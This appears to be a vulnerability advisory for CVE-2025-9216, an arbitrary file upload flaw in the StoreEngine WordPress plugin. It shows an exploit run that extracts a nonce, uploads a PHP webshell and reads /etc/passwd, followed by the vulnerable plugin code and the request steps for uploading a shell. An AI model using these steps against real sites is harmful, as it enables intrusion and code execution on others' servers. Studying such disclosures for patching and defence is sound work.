StoreEngine 插件在其CSV导入/导出功能中存在一个漏洞，允许任何已认证用户（订阅者、作者、编辑等）上传任意文件并获得远程代码执行。该漏洞源于两个安全缺陷：（1）CSV导入端点缺乏适当的文件验证检查、权限检查，仅依赖nonce验证进行安全保护；（2）storeengine_nonce通过插件的JavaScript暴露给所有前端用户。这种组合使得任何已认证用户都可以从前端页面提取nonce，并通过storeengine_csv/import端点上传PHP webshell，从而有效赋予订阅者及以上用户执行任意代码的能力。
omg.php的webshell。python3 ./CVE-2025-9216.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: ff15beb1bd
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
Uploading web shell: omg.php
File upload response: {"success":true,"data":{"filename":"omg.php"}}
Web Shell At: http://localhost:1337/wp-content/uploads/storeengine_uploads/csv/omg.php
Executing test command: cat /etc/passwd
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</pre>
storeengine_csv/import AJAX操作调用了位于/wp-content/plugins/storeengine/addons/csv/ajax/import.php第51行的import()函数，该函数缺乏适当的权限检查和文件类型验证：
public function import() {
if ( ! isset( $_FILES['file'] ) ) {
wp_send_json_error( 'No file uploaded.' );
}
$file = $_FILES['file'];
$folder = Helper::get_upload_dir() . '/csv/';
if ( ! file_exists( $folder ) ) {
wp_mkdir_p( $folder );
}
$filename = sanitize_file_name( $file['name'] );
$target = trailingslashit( $folder ) . $filename;
if ( ! move_uploaded_file( $file['tmp_name'], $target ) ) {
wp_send_json_error( 'Failed to move uploaded file.' );
}
wp_send_json_success( [
'filename' => $filename,
] );
}
该函数仅使用sanitize_file_name()清理文件名，但未进行任何文件类型验证或权限检查。这允许上传任何文件类型，包括可由Web服务器执行的PHP文件。
storeengine_nonce通过插件的JavaScript暴露给所有前端用户。这发生在/wp-content/plugins/storeengine/includes/assets.php第279行的_get_script_data()方法中：
public function _get_script_data(): array {
// ... other data ...
return [
'nonce' => wp_create_nonce( 'wp_rest' ),
'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
'rest_url' => esc_url_raw( rest_url() ),
// ... other data ...
];
}
此nonce随后通过第120行的frontend_scripts()方法本地化到前端JavaScript：
wp_localize_script(
'storeengine-frontend-scripts',
'StoreEngineGlobal',
$this->get_frontend_script_data() // Calls _get_script_data()
);
nonce在/wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php第510行的AbstractRequestHandler::check_permission()方法中得到验证：
protected function check_permission( string $capability, bool $allow_visitors = false ) {
if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
return new WP_Error(/* ... */);
}
return true;
}
这种组合允许任何已认证用户上传任意文件，包括用于远程代码执行的PHP webshell。
/wp-admin/admin-ajax.php的POST请求，调用storeengine_csv/import操作。{"success":true,"data":{"filename":"shell.php"}}。https://example.com/wp-content/uploads/storeengine_uploads/csv/shell.php的webshell并执行代码。